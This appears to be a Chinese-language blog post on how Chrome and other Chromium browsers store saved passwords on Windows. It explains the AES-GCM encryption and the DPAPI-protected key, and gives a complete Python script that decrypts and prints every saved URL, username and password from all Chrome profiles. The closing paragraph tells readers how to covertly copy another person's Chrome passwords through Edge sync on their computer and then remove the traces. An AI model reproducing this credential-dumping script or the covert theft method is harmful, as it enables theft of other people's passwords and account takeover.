你说的那个浏览器,它安全吗
没错, 这里说的那个浏览器, 它就是 Chrome 。 以及包括 Edge 在内的绝大多数基于 Chromium 开发的 web浏览器,
我们在登录网站后, 浏览器会提示我们是否保存密钥,我们点下 “是”, 密钥就被浏览器记录。下次打开网站时它甚至会贴心地帮我们自动填充好用户名和密码。我们可以在 chrome://settings/passwords
里查看已保存的密码, 它们会随浏览器账户同步到任何使该浏览器的设备上。当我们要查看某个密码时, 浏览器会要求我们先输入设备密钥。
我一直认为它足够安全。直到有一天我研究了 Chromium 的源码。
密码保存的核心代码位于 components\password_manager\core\browser\login_database.cc
。这个文件会对用户输入的密码信息进行保存, 包括网站 URL, 用户名在表单中的元素, 用户名, 密码元素, 密码值等。Chromium 在将密码信息保存在本地时, 对密码值做了加密。但对于其它信息,则完全没有提供任何保密措施。
密码存储在本地的位置,位于 AppData\Local\Google\Chrome\User Data\Default
(或 ...\Profile 1
, ...\Profile 2
, etc...)路径下的 Login Data
文件里。这是一个 Sqlite 数据库文件。我们可以使用任何Sqlite 数据库软件来查看存储的内容:
打开 logins
表,除了密码被加密, 我们可以看到其它一切信息。在这里, 信息就已经被泄漏。到这里就完了吗?当我研究了 Chromium 是如何加密存储密码之后,我开始担心我 Chrome 里保存的 10086 个密码。
Chromium 会首先拿到一个 key
(如果没有, 它会生成一个并保存之,以便下次使用), 并生成一个 96 位的 nonce
, 然后用这两项信息, AES_256_GCM
对密码进行加密。是的, 你没的看错, 它虽然使用 GCM, 但是并没有添加校验信息。不过这不重要。随后 Chromium 将 版本号(目前是 v10
)、nonce
以及加密后的密文拼接,存储在Sqlite数据库中。那么密文就是 V10 + nonce + AES_256_GCM(key, nonce, pwd)
.
到这一步也还算好。我们知道了算法,知道了密文格式,但最重要的信息 key
是由 Chromium 管理的。那么 Chromium 是如何管理 key 的呢? 获取 key 需要像我们在 Chrome 界面上查看密码一样验证设备密钥吗?答案是 NO, 根本不需要!Chromium 使用 Windows API CryptProtectData
对 key 进行加密, base64
处理后存储在了本地, 它位于 AppData\Local\Google\Chrome\User Data\Local State
。这是一个 JSON 文件。处理后的 key 存储在 os_crypt.encrypted_key
中。
至此我们明确,我们可以在任意一台 PC 上获取 Chrome 保存的所有密码!
方式:
1. 在 Local State
中拿到 key , 令 key = CryptUnprotectData(key)
2. 在用户目录下拿到 Login Data
, 获取密码密文, 密码前3位是版本号, 其后 12位是 nonce
再其后是密文本体 enc_pwd
。
3. 密码 pwd = decrypt_AES_256_GCM(key, nonce, enc_pwd)
以下是 Python的简单实现, 使用了 pywin32
, cryptography
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
import os, base64, json from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes import sqlite3 import win32crypt user_data_path = os.getenv('appdata') + R"\..\Local\Google\Chrome\User Data\\" users_file_path = user_data_path + "Local State" with open(users_file_path, 'r') as f: users_file_path = f.read() local_state = json.loads(users_file_path) enc_key_b64 = local_state['os_crypt']['encrypted_key'] enc_key = base64.b64decode(enc_key_b64) enc_key = enc_key[5:] enc_key = win32crypt.CryptUnprotectData(enc_key)[1] print("key: len:\t{}\t{}".format(len(enc_key),enc_key)) profiles = local_state['profile']['info_cache'] print(len(profiles)) for p in profiles: print("User: {} {}, your passwords: ".format(profiles[p]['shortcut_name'], p)) db_path = "{}/{}/Login Data".format(user_data_path, p) # print(db_path) con = sqlite3.connect(db_path) cur = con.cursor() res = cur.execute("SELECT * FROM logins") all_records = res.fetchall() for r in all_records: pwd = r[5] nonce = pwd[3:12+3] #print("version:\t{} nonce:\t{}\t{}".format(pwd[:3],len(nonce), nonce)) pwd = pwd[3+12:] #print("pwd len:\t{}\t{}".format(len(pwd), pwd)) cipher = Cipher(algorithms.AES(enc_key), modes.GCM(nonce)) decryptor = cipher.decryptor() plain = decryptor.update(pwd) print("URL:\t{}\nUName:\t{}\nPwd:\t{}".format(r[0], r[3],plain[:-16].decode('utf-8'))) print("------") con.close() print("============") |
1 2 3 4 5 6 |
User: Wandoer Profile 11, you passwords: URL: https://accounts.douban.com/passport/login_popup UName: test_pwds@gmail.com Pwd: ABCabc_123+456 ------ ============ |
以上。最关键的一点是 Chromium 对密钥的保存。唯一让人感觉到安全的, 是 CryptUnprotectData()
是硬件相关的API, 即在其他机器上无法通过解密本机的 encrypted_key
拿到 Chromium 的 key 。
如果想正在使用别人的PC, 且你想拿到他的Chrome 中的密码, 但你觉得以上方法有些复杂,我们有更简单的方式:使用 Edge 浏览器 。毫无疑问 Edge 浏览器利用了这一漏洞。你可以在别人的机器上使用 Edge 浏览器,登录你的账号, 在设置里导入 Chrome 浏览器的任意用户下的密码, 然后同步你的 Edge 账号, 这样你就可以轻松获取此电脑里所有 Chrome 浏览器用户的所有密码。当然, 别忘了在此电脑上有 Edge 里删除你的账号。